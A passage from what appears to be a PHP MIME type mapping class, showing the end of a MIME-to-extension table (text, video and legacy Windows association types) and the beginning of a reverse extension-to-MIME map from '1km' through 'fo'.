'text/x-dart' => ['dart'], 'text/x-dbus-service' => ['service'], 'text/x-dcl' => ['dcl'], 'text/x-diff' => ['diff', 'patch'], 'text/x-dsl' => ['dsl'], 'text/x-dsrc' => ['d', 'di'], 'text/x-dtd' => ['dtd'], 'text/x-eiffel' => ['e', 'eif'], 'text/x-elixir' => ['ex', 'exs'], 'text/x-emacs-lisp' => ['el'], 'text/x-erlang' => ['erl'], 'text/x-fortran' => ['f', 'for', 'f77', 'f90', 'f95'], 'text/x-genie' => ['gs'], 'text/x-gettext-translation' => ['po'], 'text/x-gettext-translation-template' => ['pot'], 'text/x-gherkin' => ['feature'], 'text/x-go' => ['go'], 'text/x-google-video-pointer' => ['gvp'], 'text/x-gradle' => ['gradle'], 'text/x-groovy' => ['groovy', 'gvy', 'gy', 'gsh'], 'text/x-handlebars-template' => ['hbs'], 'text/x-haskell' => ['hs'], 'text/x-idl' => ['idl'], 'text/x-imelody' => ['imy', 'ime'], 'text/x-iptables' => ['iptables'], 'text/x-java' => ['java'], 'text/x-java-source' => ['java'], 'text/x-kaitai-struct' => ['ksy'], 'text/x-kotlin' => ['kt'], 'text/x-ldif' => ['ldif'], 'text/x-lilypond' => ['ly'], 'text/x-literate-haskell' => ['lhs'], 'text/x-log' => ['log'], 'text/x-lua' => ['lua'], 'text/x-lyx' => ['lyx'], 'text/x-makefile' => ['mk', 'mak'], 'text/x-markdown' => ['md', 'mkd', 'markdown'], 'text/x-matlab' => ['m'], 'text/x-microdvd' => ['sub'], 'text/x-moc' => ['moc'], 'text/x-modelica' => ['mo'], 'text/x-mof' => ['mof'], 'text/x-mpsub' => ['sub'], 'text/x-mrml' => ['mrml', 'mrl'], 'text/x-ms-regedit' => ['reg'], 'text/x-mup' => ['mup', 'not'], 'text/x-nfo' => ['nfo'], 'text/x-objcsrc' => ['m'], 'text/x-ocaml' => ['ml', 'mli'], 'text/x-ocl' => ['ocl'], 'text/x-octave' => ['m'], 'text/x-ooc' => ['ooc'], 'text/x-opencl-src' => ['cl'], 'text/x-opml' => ['opml'], 'text/x-opml+xml' => ['opml'], 'text/x-org' => ['org'], 'text/x-pascal' => ['p', 'pas'], 'text/x-patch' => ['diff', 'patch'], 'text/x-perl' => ['pl', 'PL', 'pm', 'al', 'perl', 'pod', 't'], 'text/x-po' => ['po'], 'text/x-pot' => ['pot'], 'text/x-processing' => ['pde'], 'text/x-python' => ['py', 'pyx', 'wsgi'], 'text/x-python3' => ['py', 'py3', 'py3x', 'pyi'], 'text/x-qml' => ['qml', 'qmltypes', 'qmlproject'], 'text/x-reject' => ['rej'], 'text/x-rpm-spec' => ['spec'], 'text/x-rst' => ['rst'], 'text/x-sagemath' => ['sage'], 'text/x-sass' => ['sass'], 'text/x-scala' => ['scala', 'sc'], 'text/x-scheme' => ['scm', 'ss'], 'text/x-scss' => ['scss'], 'text/x-setext' => ['etx'], 'text/x-sfv' => ['sfv'], 'text/x-sh' => ['sh'], 'text/x-sql' => ['sql'], 'text/x-ssa' => ['ssa', 'ass'], 'text/x-subviewer' => ['sub'], 'text/x-suse-ymp' => ['ymp'], 'text/x-svhdr' => ['svh'], 'text/x-svsrc' => ['sv'], 'text/x-systemd-unit' => ['automount', 'device', 'mount', 'path', 'scope', 'service', 'slice', 'socket', 'swap', 'target', 'timer'], 'text/x-tcl' => ['tcl', 'tk'], 'text/x-tex' => ['tex', 'ltx', 'sty', 'cls', 'dtx', 'ins', 'latex'], 'text/x-texinfo' => ['texi', 'texinfo'], 'text/x-troff' => ['tr', 'roff', 't'], 'text/x-troff-me' => ['me'], 'text/x-troff-mm' => ['mm'], 'text/x-troff-ms' => ['ms'], 'text/x-twig' => ['twig'], 'text/x-txt2tags' => ['t2t'], 'text/x-uil' => ['uil'], 'text/x-uuencode' => ['uu', 'uue'], 'text/x-vala' => ['vala', 'vapi'], 'text/x-vcalendar' => ['vcs', 'ics'], 'text/x-vcard' => ['vcf', 'vcard', 'vct', 'gcrd'], 'text/x-verilog' => ['v'], 'text/x-vhdl' => ['vhd', 'vhdl'], 'text/x-xmi' => ['xmi'], 'text/x-xslfo' => ['fo', 'xslfo'], 'text/x-yaml' => ['yaml', 'yml'], 'text/x.gcode' => ['gcode'], 'text/xml' => ['xml', 'xbl', 'xsd', 'rng'], 'text/xml-external-parsed-entity' => ['ent'], 'text/yaml' => ['yaml', 'yml'], 'video/3gp' => ['3gp', '3gpp', '3ga'], 'video/3gpp' => ['3gp', '3gpp', '3ga'], 'video/3gpp-encrypted' => ['3gp', '3gpp', '3ga'], 'video/3gpp2' => ['3g2', '3gp2', '3gpp2'], 'video/annodex' => ['axv'], 'video/avi' => ['avi', 'avf', 'divx'], 'video/divx' => ['avi', 'avf', 'divx'], 'video/dv' => ['dv'], 'video/fli' => ['fli', 'flc'], 'video/flv' => ['flv'], 'video/h261' => ['h261'], 'video/h263' => ['h263'], 'video/h264' => ['h264'], 'video/iso.segment' => ['m4s'], 'video/jpeg' => ['jpgv'], 'video/jpm' => ['jpm', 'jpgm'], 'video/mj2' => ['mj2', 'mjp2'], 'video/mp2t' => ['ts', 'm2t', 'm2ts', 'mts', 'cpi', 'clpi', 'mpl', 'mpls', 'bdm', 'bdmv'], 'video/mp4' => ['mp4', 'mp4v', 'mpg4', 'm4v', 'f4v', 'lrv'], 'video/mp4v-es' => ['mp4', 'm4v', 'f4v', 'lrv'], 'video/mpeg' => ['mpeg', 'mpg', 'mpe', 'm1v', 'm2v', 'mp2', 'vob'], 'video/mpeg-system' => ['mpeg', 'mpg', 'mp2', 'mpe', 'vob'], 'video/msvideo' => ['avi', 'avf', 'divx'], 'video/ogg' => ['ogv', 'ogg'], 'video/quicktime' => ['mov', 'qt', 'moov', 'qtvr'], 'video/vivo' => ['viv', 'vivo'], 'video/vnd.dece.hd' => ['uvh', 'uvvh'], 'video/vnd.dece.mobile' => ['uvm', 'uvvm'], 'video/vnd.dece.pd' => ['uvp', 'uvvp'], 'video/vnd.dece.sd' => ['uvs', 'uvvs'], 'video/vnd.dece.video' => ['uvv', 'uvvv'], 'video/vnd.divx' => ['avi', 'avf', 'divx'], 'video/vnd.dvb.file' => ['dvb'], 'video/vnd.fvt' => ['fvt'], 'video/vnd.mpegurl' => ['mxu', 'm4u', 'm1u'], 'video/vnd.ms-playready.media.pyv' => ['pyv'], 'video/vnd.radgamettools.bink' => ['bik', 'bk2'], 'video/vnd.radgamettools.smacker' => ['smk'], 'video/vnd.rn-realvideo' => ['rv', 'rvx'], 'video/vnd.uvvu.mp4' => ['uvu', 'uvvu'], 'video/vnd.vivo' => ['viv', 'vivo'], 'video/webm' => ['webm'], 'video/x-anim' => ['anim[1-9j]'], 'video/x-annodex' => ['axv'], 'video/x-avi' => ['avi', 'avf', 'divx'], 'video/x-f4v' => ['f4v'], 'video/x-fli' => ['fli', 'flc'], 'video/x-flic' => ['fli', 'flc'], 'video/x-flv' => ['flv'], 'video/x-javafx' => ['fxm'], 'video/x-m4v' => ['m4v', 'mp4', 'f4v', 'lrv'], 'video/x-matroska' => ['mkv', 'mk3d', 'mks'], 'video/x-matroska-3d' => ['mk3d'], 'video/x-mjpeg' => ['mjpeg', 'mjpg'], 'video/x-mng' => ['mng'], 'video/x-mpeg' => ['mpeg', 'mpg', 'mp2', 'mpe', 'vob'], 'video/x-mpeg-system' => ['mpeg', 'mpg', 'mp2', 'mpe', 'vob'], 'video/x-mpeg2' => ['mpeg', 'mpg', 'mp2', 'mpe', 'vob'], 'video/x-mpegurl' => ['m1u', 'm4u', 'mxu'], 'video/x-ms-asf' => ['asf', 'asx'], 'video/x-ms-asf-plugin' => ['asf'], 'video/x-ms-vob' => ['vob'], 'video/x-ms-wax' => ['asx', 'wax', 'wvx', 'wmx'], 'video/x-ms-wm' => ['wm', 'asf'], 'video/x-ms-wmv' => ['wmv'], 'video/x-ms-wmx' => ['wmx', 'asx', 'wax', 'wvx'], 'video/x-ms-wvx' => ['wvx', 'asx', 'wax', 'wmx'], 'video/x-msvideo' => ['avi', 'avf', 'divx'], 'video/x-nsv' => ['nsv'], 'video/x-ogg' => ['ogv', 'ogg'], 'video/x-ogm' => ['ogm'], 'video/x-ogm+ogg' => ['ogm'], 'video/x-real-video' => ['rv', 'rvx'], 'video/x-sgi-movie' => ['movie'], 'video/x-smv' => ['smv'], 'video/x-theora' => ['ogg'], 'video/x-theora+ogg' => ['ogg'], 'x-conference/x-cooltalk' => ['ice'], 'x-epoc/x-sisx-app' => ['sisx'], 'zz-application/zz-winassoc-123' => ['123', 'wk1', 'wk3', 'wk4', 'wks'], 'zz-application/zz-winassoc-cab' => ['cab'], 'zz-application/zz-winassoc-cdr' => ['cdr'], 'zz-application/zz-winassoc-doc' => ['doc'], 'zz-application/zz-winassoc-hlp' => ['hlp'], 'zz-application/zz-winassoc-mdb' => ['mdb'], 'zz-application/zz-winassoc-uu' => ['uue'], 'zz-application/zz-winassoc-xls' => ['xls', 'xlc', 'xll', 'xlm', 'xlw', 'xla', 'xlt', 'xld'], ]; private const REVERSE_MAP = [ '1km' => ['application/vnd.1000minds.decision-model+xml'], '32x' => ['application/x-genesis-32x-rom'], '3dml' => ['text/vnd.in3d.3dml'], '3ds' => ['application/x-nintendo-3ds-rom', 'image/x-3ds'], '3dsx' => ['application/x-nintendo-3ds-executable'], '3g2' => ['audio/3gpp2', 'video/3gpp2'], '3ga' => ['audio/3gpp', 'audio/3gpp-encrypted', 'audio/x-rn-3gpp-amr', 'audio/x-rn-3gpp-amr-encrypted', 'audio/x-rn-3gpp-amr-wb', 'audio/x-rn-3gpp-amr-wb-encrypted', 'video/3gp', 'video/3gpp', 'video/3gpp-encrypted'], '3gp' => ['audio/3gpp', 'audio/3gpp-encrypted', 'audio/x-rn-3gpp-amr', 'audio/x-rn-3gpp-amr-encrypted', 'audio/x-rn-3gpp-amr-wb', 'audio/x-rn-3gpp-amr-wb-encrypted', 'video/3gp', 'video/3gpp', 'video/3gpp-encrypted'], '3gp2' => ['audio/3gpp2', 'video/3gpp2'], '3gpp' => ['audio/3gpp', 'audio/3gpp-encrypted', 'audio/x-rn-3gpp-amr', 'audio/x-rn-3gpp-amr-encrypted', 'audio/x-rn-3gpp-amr-wb', 'audio/x-rn-3gpp-amr-wb-encrypted', 'video/3gp', 'video/3gpp', 'video/3gpp-encrypted'], '3gpp2' => ['audio/3gpp2', 'video/3gpp2'], '3mf' => ['model/3mf'], '7z' => ['application/x-7z-compressed'], '7z.001' => ['application/x-7z-compressed'], 'BLEND' => ['application/x-blender'], 'C' => ['text/x-c++src'], 'PAR2' => ['application/x-par2'], 'PL' => ['application/x-perl', 'text/x-perl'], 'Z' => ['application/x-compress'], 'a' => ['application/x-archive'], 'a26' => ['application/x-atari-2600-rom'], 'a78' => ['application/x-atari-7800-rom'], 'aa' => ['audio/vnd.audible', 'audio/x-pn-audibleaudio'], 'aab' => ['application/x-authorware-bin'], 'aac' => ['audio/aac', 'audio/x-aac', 'audio/x-hx-aac-adts'], 'aam' => ['application/x-authorware-map'], 'aas' => ['application/x-authorware-seg'], 'aax' => ['audio/vnd.audible', 'audio/vnd.audible.aax', 'audio/x-pn-audibleaudio'], 'abw' => ['application/x-abiword'], 'abw.CRASHED' => ['application/x-abiword'], 'abw.gz' => ['application/x-abiword'], 'ac' => ['application/pkix-attr-cert', 'application/vnd.nokia.n-gage.ac+xml'], 'ac3' => ['audio/ac3'], 'acc' => ['application/vnd.americandynamics.acc'], 'ace' => ['application/x-ace', 'application/x-ace-compressed'], 'acu' => ['application/vnd.acucobol'], 'acutc' => ['application/vnd.acucorp'], 'adb' => ['text/x-adasrc'], 'adf' => ['application/x-amiga-disk-format'], 'adp' => ['audio/adpcm'], 'ads' => ['text/x-adasrc'], 'adts' => ['audio/aac', 'audio/x-aac', 'audio/x-hx-aac-adts'], 'aep' => ['application/vnd.audiograph'], 'afm' => ['application/x-font-afm', 'application/x-font-type1'], 'afp' => ['application/vnd.ibm.modcap'], 'ag' => ['image/x-applix-graphics'], 'agb' => ['application/x-gba-rom'], 'ahead' => ['application/vnd.ahead.space'], 'ai' => ['application/illustrator', 'application/postscript', 'application/vnd.adobe.illustrator'], 'aif' => ['audio/x-aiff'], 'aifc' => ['audio/x-aifc', 'audio/x-aiff', 'audio/x-aiffc'], 'aiff' => ['audio/x-aiff'], 'aiffc' => ['audio/x-aifc', 'audio/x-aiffc'], 'air' => ['application/vnd.adobe.air-application-installer-package+zip'], 'ait' => ['application/vnd.dvb.ait'], 'al' => ['application/x-perl', 'text/x-perl'], 'alz' => ['application/x-alz'], 'ami' => ['application/vnd.amiga.ami'], 'amr' => ['audio/amr', 'audio/amr-encrypted'], 'amz' => ['audio/x-amzxml'], 'ani' => ['application/x-navi-animation'], 'anim[1-9j]' => ['video/x-anim'], 'anx' => ['application/annodex', 'application/x-annodex'], 'ape' => ['audio/x-ape'], 'apk' => ['application/vnd.android.package-archive'], 'apng' => ['image/apng'], 'appcache' => ['text/cache-manifest'], 'appimage' => ['application/vnd.appimage', 'application/x-iso9660-appimage'], 'application' => ['application/x-ms-application'], 'apr' => ['application/vnd.lotus-approach'], 'ar' => ['application/x-archive'], 'arc' => ['application/x-freearc'], 'arj' => ['application/x-arj'], 'arw' => ['image/x-sony-arw'], 'as' => ['application/x-applix-spreadsheet'], 'asc' => ['application/pgp', 'application/pgp-encrypted', 'application/pgp-keys', 'application/pgp-signature', 'text/plain'], 'asd' => ['text/x-common-lisp'], 'asf' => ['application/vnd.ms-asf', 'video/x-ms-asf', 'video/x-ms-asf-plugin', 'video/x-ms-wm'], 'asice' => ['application/vnd.etsi.asic-e+zip'], 'asm' => ['text/x-asm'], 'aso' => ['application/vnd.accpac.simply.aso'], 'asp' => ['application/x-asp'], 'ass' => ['audio/aac', 'audio/x-aac', 'audio/x-hx-aac-adts', 'text/x-ssa'], 'astc' => ['image/astc'], 'asx' => ['application/x-ms-asx', 'audio/x-ms-asx', 'video/x-ms-asf', 'video/x-ms-wax', 'video/x-ms-wmx', 'video/x-ms-wvx'], 'atc' => ['application/vnd.acucorp'], 'atom' => ['application/atom+xml'], 'atomcat' => ['application/atomcat+xml'], 'atomdeleted' => ['application/atomdeleted+xml'], 'atomsvc' => ['application/atomsvc+xml'], 'atx' => ['application/vnd.antix.game-component'], 'au' => ['audio/basic'], 'automount' => ['text/x-systemd-unit'], 'avf' => ['video/avi', 'video/divx', 'video/msvideo', 'video/vnd.divx', 'video/x-avi', 'video/x-msvideo'], 'avi' => ['video/avi', 'video/divx', 'video/msvideo', 'video/vnd.divx', 'video/x-avi', 'video/x-msvideo'], 'avif' => ['image/avif', 'image/avif-sequence'], 'avifs' => ['image/avif', 'image/avif-sequence'], 'aw' => ['application/applixware', 'application/x-applix-word'], 'awb' => ['audio/amr-wb', 'audio/amr-wb-encrypted'], 'awk' => ['application/x-awk'], 'axa' => ['audio/annodex', 'audio/x-annodex'], 'axv' => ['video/annodex', 'video/x-annodex'], 'azf' => ['application/vnd.airzip.filesecure.azf'], 'azs' => ['application/vnd.airzip.filesecure.azs'], 'azv' => ['image/vnd.airzip.accelerator.azv'], 'azw' => ['application/vnd.amazon.ebook'], 'azw3' => ['application/vnd.amazon.mobi8-ebook', 'application/x-mobi8-ebook'], 'b16' => ['image/vnd.pco.b16'], 'bak' => ['application/x-trash'], 'bat' => ['application/x-msdownload'], 'bcpio' => ['application/x-bcpio'], 'bdf' => ['application/x-font-bdf'], 'bdm' => ['application/vnd.syncml.dm+wbxml', 'video/mp2t'], 'bdmv' => ['video/mp2t'], 'bdoc' => ['application/bdoc', 'application/x-bdoc'], 'bed' => ['application/vnd.realvnc.bed'], 'bh2' => ['application/vnd.fujitsu.oasysprs'], 'bib' => ['text/x-bibtex'], 'bik' => ['video/vnd.radgamettools.bink'], 'bin' => ['application/octet-stream'], 'bk2' => ['video/vnd.radgamettools.bink'], 'blb' => ['application/x-blorb'], 'blend' => ['application/x-blender'], 'blender' => ['application/x-blender'], 'blorb' => ['application/x-blorb'], 'bmi' => ['application/vnd.bmi'], 'bmml' => ['application/vnd.balsamiq.bmml+xml'], 'bmp' => ['image/bmp', 'image/x-bmp', 'image/x-ms-bmp'], 'book' => ['application/vnd.framemaker'], 'box' => ['application/vnd.previewsystems.box'], 'boz' => ['application/x-bzip2'], 'bps' => ['application/x-bps-patch'], 'bsdiff' => ['application/x-bsdiff'], 'bsp' => ['model/vnd.valve.source.compiled-map'], 'btif' => ['image/prs.btif'], 'bz' => ['application/bzip2', 'application/x-bzip', 'application/x-bzip2'], 'bz2' => ['application/x-bz2', 'application/bzip2', 'application/x-bzip', 'application/x-bzip2'], 'c' => ['text/x-c', 'text/x-csrc'], 'c++' => ['text/x-c++src'], 'c11amc' => ['application/vnd.cluetrust.cartomobile-config'], 'c11amz' => ['application/vnd.cluetrust.cartomobile-config-pkg'], 'c4d' => ['application/vnd.clonk.c4group'], 'c4f' => ['application/vnd.clonk.c4group'], 'c4g' => ['application/vnd.clonk.c4group'], 'c4p' => ['application/vnd.clonk.c4group'], 'c4u' => ['application/vnd.clonk.c4group'], 'cab' => ['application/vnd.ms-cab-compressed', 'zz-application/zz-winassoc-cab'], 'caf' => ['audio/x-caf'], 'cap' => ['application/pcap', 'application/vnd.tcpdump.pcap', 'application/x-pcap'], 'car' => ['application/vnd.curl.car'], 'cat' => ['application/vnd.ms-pki.seccat'], 'cb7' => ['application/x-cb7', 'application/x-cbr'], 'cba' => ['application/x-cbr'], 'cbl' => ['text/x-cobol'], 'cbr' => ['application/vnd.comicbook-rar', 'application/x-cbr'], 'cbt' => ['application/x-cbr', 'application/x-cbt'], 'cbz' => ['application/vnd.comicbook+zip', 'application/x-cbr', 'application/x-cbz'], 'cc' => ['text/x-c', 'text/x-c++src'], 'cci' => ['application/x-nintendo-3ds-rom'], 'ccmx' => ['application/x-ccmx'], 'cco' => ['application/x-cocoa'], 'cct' => ['application/x-director'], 'ccxml' => ['application/ccxml+xml'], 'cdbcmsg' => ['application/vnd.contact.cmsg'], 'cdf' => ['application/x-netcdf'], 'cdfx' => ['application/cdfx+xml'], 'cdi' => ['application/x-discjuggler-cd-image'], 'cdkey' => ['application/vnd.mediastation.cdkey'], 'cdmia' => ['application/cdmi-capability'], 'cdmic' => ['application/cdmi-container'], 'cdmid' => ['application/cdmi-domain'], 'cdmio' => ['application/cdmi-object'], 'cdmiq' => ['application/cdmi-queue'], 'cdr' => ['application/cdr', 'application/coreldraw', 'application/vnd.corel-draw', 'application/x-cdr', 'application/x-coreldraw', 'image/cdr', 'image/x-cdr', 'zz-application/zz-winassoc-cdr'], 'cdx' => ['chemical/x-cdx'], 'cdxml' => ['application/vnd.chemdraw+xml'], 'cdy' => ['application/vnd.cinderella'], 'cer' => ['application/pkix-cert'], 'cert' => ['application/x-x509-ca-cert'], 'cfs' => ['application/x-cfs-compressed'], 'cgb' => ['application/x-gameboy-color-rom'], 'cgm' => ['image/cgm'], 'chat' => ['application/x-chat'], 'chd' => ['application/x-mame-chd'], 'chm' => ['application/vnd.ms-htmlhelp', 'application/x-chm'], 'chrt' => ['application/vnd.kde.kchart', 'application/x-kchart'], 'cif' => ['chemical/x-cif'], 'cii' => ['application/vnd.anser-web-certificate-issue-initiation'], 'cil' => ['application/vnd.ms-artgalry'], 'cjs' => ['application/node'], 'cl' => ['text/x-opencl-src'], 'cla' => ['application/vnd.claymore'], 'class' => ['application/java', 'application/java-byte-code', 'application/java-vm', 'application/x-java', 'application/x-java-class', 'application/x-java-vm'], 'clkk' => ['application/vnd.crick.clicker.keyboard'], 'clkp' => ['application/vnd.crick.clicker.palette'], 'clkt' => ['application/vnd.crick.clicker.template'], 'clkw' => ['application/vnd.crick.clicker.wordbank'], 'clkx' => ['application/vnd.crick.clicker'], 'clp' => ['application/x-msclip'], 'clpi' => ['video/mp2t'], 'cls' => ['application/x-tex', 'text/x-tex'], 'cmake' => ['text/x-cmake'], 'cmc' => ['application/vnd.cosmocaller'], 'cmdf' => ['chemical/x-cmdf'], 'cml' => ['chemical/x-cml'], 'cmp' => ['application/vnd.yellowriver-custom-menu'], 'cmx' => ['image/x-cmx'], 'cob' => ['text/x-cobol'], 'cod' => ['application/vnd.rim.cod'], 'coffee' => ['application/vnd.coffeescript', 'text/coffeescript'], 'com' => ['application/x-msdownload'], 'conf' => ['text/plain'], 'cpi' => ['video/mp2t'], 'cpio' => ['application/x-cpio'], 'cpio.gz' => ['application/x-cpio-compressed'], 'cpp' => ['text/x-c', 'text/x-c++src'], 'cpt' => ['application/mac-compactpro'], 'cr' => ['text/crystal', 'text/x-crystal'], 'cr2' => ['image/x-canon-cr2'], 'cr3' => ['image/x-canon-cr3'], 'crd' => ['application/x-mscardfile'], 'crdownload' => ['application/x-partial-download'], 'crl' => ['application/pkix-crl'], 'crt' => ['application/x-x509-ca-cert'], 'crw' => ['image/x-canon-crw'], 'crx' => ['application/x-chrome-extension'], 'cryptonote' => ['application/vnd.rig.cryptonote'], 'cs' => ['text/x-csharp'], 'csh' => ['application/x-csh'], 'csl' => ['application/vnd.citationstyles.style+xml'], 'csml' => ['chemical/x-csml'], 'cso' => ['application/x-compressed-iso'], 'csp' => ['application/vnd.commonspace'], 'css' => ['text/css'], 'cst' => ['application/x-director'], 'csv' => ['text/csv', 'application/csv', 'text/x-comma-separated-values', 'text/x-csv'], 'csvs' => ['text/csv-schema'], 'cu' => ['application/cu-seeme'], 'cue' => ['application/x-cue'], 'cur' => ['image/x-win-bitmap'], 'curl' => ['text/vnd.curl'], 'cwk' => ['application/x-appleworks-document'], 'cww' => ['application/prs.cww'], 'cxt' => ['application/x-director'], 'cxx' => ['text/x-c', 'text/x-c++src'], 'd' => ['text/x-dsrc'], 'dae' => ['model/vnd.collada+xml'], 'daf' => ['application/vnd.mobius.daf'], 'dar' => ['application/x-dar'], 'dart' => ['application/vnd.dart', 'text/x-dart'], 'dataless' => ['application/vnd.fdsn.seed'], 'davmount' => ['application/davmount+xml'], 'dbf' => ['application/dbase', 'application/dbf', 'application/vnd.dbf', 'application/x-dbase', 'application/x-dbf'], 'dbk' => ['application/docbook+xml', 'application/vnd.oasis.docbook+xml', 'application/x-docbook+xml'], 'dc' => ['application/x-dc-rom'], 'dcl' => ['text/x-dcl'], 'dcm' => ['application/dicom'], 'dcr' => ['application/x-director', 'image/x-kodak-dcr'], 'dcurl' => ['text/vnd.curl.dcurl'], 'dd2' => ['application/vnd.oma.dd2+xml'], 'ddd' => ['application/vnd.fujixerox.ddd'], 'ddf' => ['application/vnd.syncml.dmddf+xml'], 'dds' => ['image/vnd.ms-dds', 'image/x-dds'], 'deb' => ['application/vnd.debian.binary-package', 'application/x-deb', 'application/x-debian-package'], 'def' => ['text/plain'], 'der' => ['application/x-x509-ca-cert'], 'desktop' => ['application/x-desktop', 'application/x-gnome-app-info'], 'device' => ['text/x-systemd-unit'], 'dfac' => ['application/vnd.dreamfactory'], 'dgc' => ['application/x-dgc-compressed'], 'di' => ['text/x-dsrc'], 'dia' => ['application/x-dia-diagram'], 'dib' => ['image/bmp', 'image/x-bmp', 'image/x-ms-bmp'], 'dic' => ['text/x-c'], 'diff' => ['text/x-diff', 'text/x-patch'], 'dir' => ['application/x-director'], 'dis' => ['application/vnd.mobius.dis'], 'disposition-notification' => ['message/disposition-notification'], 'divx' => ['video/avi', 'video/divx', 'video/msvideo', 'video/vnd.divx', 'video/x-avi', 'video/x-msvideo'], 'djv' => ['image/vnd.djvu', 'image/vnd.djvu+multipage', 'image/x-djvu', 'image/x.djvu'], 'djvu' => ['image/vnd.djvu', 'image/vnd.djvu+multipage', 'image/x-djvu', 'image/x.djvu'], 'dll' => ['application/x-msdownload'], 'dmg' => ['application/x-apple-diskimage'], 'dmp' => ['application/pcap', 'application/vnd.tcpdump.pcap', 'application/x-pcap'], 'dna' => ['application/vnd.dna'], 'dng' => ['image/x-adobe-dng'], 'doc' => ['application/msword', 'application/vnd.ms-word', 'application/x-msword', 'zz-application/zz-winassoc-doc'], 'docbook' => ['application/docbook+xml', 'application/vnd.oasis.docbook+xml', 'application/x-docbook+xml'], 'docm' => ['application/vnd.ms-word.document.macroenabled.12'], 'docx' => ['application/vnd.openxmlformats-officedocument.wordprocessingml.document'], 'dot' => ['application/msword', 'application/msword-template', 'text/vnd.graphviz'], 'dotm' => ['application/vnd.ms-word.template.macroenabled.12'], 'dotx' => ['application/vnd.openxmlformats-officedocument.wordprocessingml.template'], 'dp' => ['application/vnd.osgi.dp'], 'dpg' => ['application/vnd.dpgraph'], 'dra' => ['audio/vnd.dra'], 'drle' => ['image/dicom-rle'], 'dsc' => ['text/prs.lines.tag'], 'dsl' => ['text/x-dsl'], 'dssc' => ['application/dssc+der'], 'dtb' => ['application/x-dtbook+xml'], 'dtd' => ['application/xml-dtd', 'text/x-dtd'], 'dts' => ['audio/vnd.dts', 'audio/x-dts'], 'dtshd' => ['audio/vnd.dts.hd', 'audio/x-dtshd'], 'dtx' => ['application/x-tex', 'text/x-tex'], 'dv' => ['video/dv'], 'dvb' => ['video/vnd.dvb.file'], 'dvi' => ['application/x-dvi'], 'dvi.bz2' => ['application/x-bzdvi'], 'dvi.gz' => ['application/x-gzdvi'], 'dwd' => ['application/atsc-dwd+xml'], 'dwf' => ['model/vnd.dwf'], 'dwg' => ['image/vnd.dwg'], 'dxf' => ['image/vnd.dxf'], 'dxp' => ['application/vnd.spotfire.dxp'], 'dxr' => ['application/x-director'], 'e' => ['text/x-eiffel'], 'ear' => ['application/java-archive'], 'ecelp4800' => ['audio/vnd.nuera.ecelp4800'], 'ecelp7470' => ['audio/vnd.nuera.ecelp7470'], 'ecelp9600' => ['audio/vnd.nuera.ecelp9600'], 'ecma' => ['application/ecmascript'], 'edm' => ['application/vnd.novadigm.edm'], 'edx' => ['application/vnd.novadigm.edx'], 'efif' => ['application/vnd.picsel'], 'egon' => ['application/x-egon'], 'ei6' => ['application/vnd.pg.osasli'], 'eif' => ['text/x-eiffel'], 'el' => ['text/x-emacs-lisp'], 'emf' => ['application/emf', 'application/x-emf', 'application/x-msmetafile', 'image/emf', 'image/x-emf'], 'eml' => ['message/rfc822'], 'emma' => ['application/emma+xml'], 'emotionml' => ['application/emotionml+xml'], 'emp' => ['application/vnd.emusic-emusic_package'], 'emz' => ['application/x-msmetafile'], 'ent' => ['application/xml-external-parsed-entity', 'text/xml-external-parsed-entity'], 'eol' => ['audio/vnd.digital-winds'], 'eot' => ['application/vnd.ms-fontobject'], 'eps' => ['application/postscript', 'image/x-eps'], 'eps.bz2' => ['image/x-bzeps'], 'eps.gz' => ['image/x-gzeps'], 'epsf' => ['image/x-eps'], 'epsf.bz2' => ['image/x-bzeps'], 'epsf.gz' => ['image/x-gzeps'], 'epsi' => ['image/x-eps'], 'epsi.bz2' => ['image/x-bzeps'], 'epsi.gz' => ['image/x-gzeps'], 'epub' => ['application/epub+zip'], 'erl' => ['text/x-erlang'], 'es' => ['application/ecmascript', 'text/ecmascript'], 'es3' => ['application/vnd.eszigno3+xml'], 'esa' => ['application/vnd.osgi.subsystem'], 'esf' => ['application/vnd.epson.esf'], 'et3' => ['application/vnd.eszigno3+xml'], 'etheme' => ['application/x-e-theme'], 'etx' => ['text/x-setext'], 'eva' => ['application/x-eva'], 'evy' => ['application/x-envoy'], 'ex' => ['text/x-elixir'], 'exe' => ['application/x-ms-dos-executable', 'application/x-msdos-program', 'application/x-msdownload'], 'exi' => ['application/exi'], 'exr' => ['image/aces', 'image/x-exr'], 'exs' => ['text/x-elixir'], 'ext' => ['application/vnd.novadigm.ext'], 'ez' => ['application/andrew-inset'], 'ez2' => ['application/vnd.ezpix-album'], 'ez3' => ['application/vnd.ezpix-package'], 'f' => ['text/x-fortran'], 'f4a' => ['audio/m4a', 'audio/mp4', 'audio/x-m4a'], 'f4b' => ['audio/x-m4b'], 'f4v' => ['video/mp4', 'video/mp4v-es', 'video/x-f4v', 'video/x-m4v'], 'f77' => ['text/x-fortran'], 'f90' => ['text/x-fortran'], 'f95' => ['text/x-fortran'], 'fasl' => ['text/x-common-lisp'], 'fb2' => ['application/x-fictionbook', 'application/x-fictionbook+xml'], 'fb2.zip' => ['application/x-zip-compressed-fb2'], 'fbs' => ['image/vnd.fastbidsheet'], 'fcdt' => ['application/vnd.adobe.formscentral.fcdt'], 'fcs' => ['application/vnd.isac.fcs'], 'fd' => ['application/x-fd-file', 'application/x-raw-floppy-disk-image'], 'fdf' => ['application/vnd.fdf'], 'fds' => ['application/x-fds-disk'], 'fdt' => ['application/fdt+xml'], 'fe_launch' => ['application/vnd.denovo.fcselayout-link'], 'feature' => ['text/x-gherkin'], 'fg5' => ['application/vnd.fujitsu.oasysgp'], 'fgd' => ['application/x-director'], 'fh' => ['image/x-freehand'], 'fh4' => ['image/x-freehand'], 'fh5' => ['image/x-freehand'], 'fh7' => ['image/x-freehand'], 'fhc' => ['image/x-freehand'], 'fig' => ['application/x-xfig', 'image/x-xfig'], 'fits' => ['image/fits', 'image/x-fits'], 'fl' => ['application/x-fluid'], 'flac' => ['audio/flac', 'audio/x-flac'], 'flatpak' => ['application/vnd.flatpak', 'application/vnd.xdgapp'], 'flatpakref' => ['application/vnd.flatpak.ref'], 'flatpakrepo' => ['application/vnd.flatpak.repo'], 'flc' => ['video/fli', 'video/x-fli', 'video/x-flic'], 'fli' => ['video/fli', 'video/x-fli', 'video/x-flic'], 'flo' => ['application/vnd.micrografx.flo'], 'flv' => ['video/x-flv', 'application/x-flash-video', 'flv-application/octet-stream', 'video/flv'], 'flw' => ['application/vnd.kde.kivio', 'application/x-kivio'], 'flx' => ['text/vnd.fmi.flexstor'], 'fly' => ['text/vnd.fly'], 'fm' => ['application/vnd.framemaker', 'application/x-frame'], 'fnc' => ['application/vnd.frogans.fnc'], 'fo' 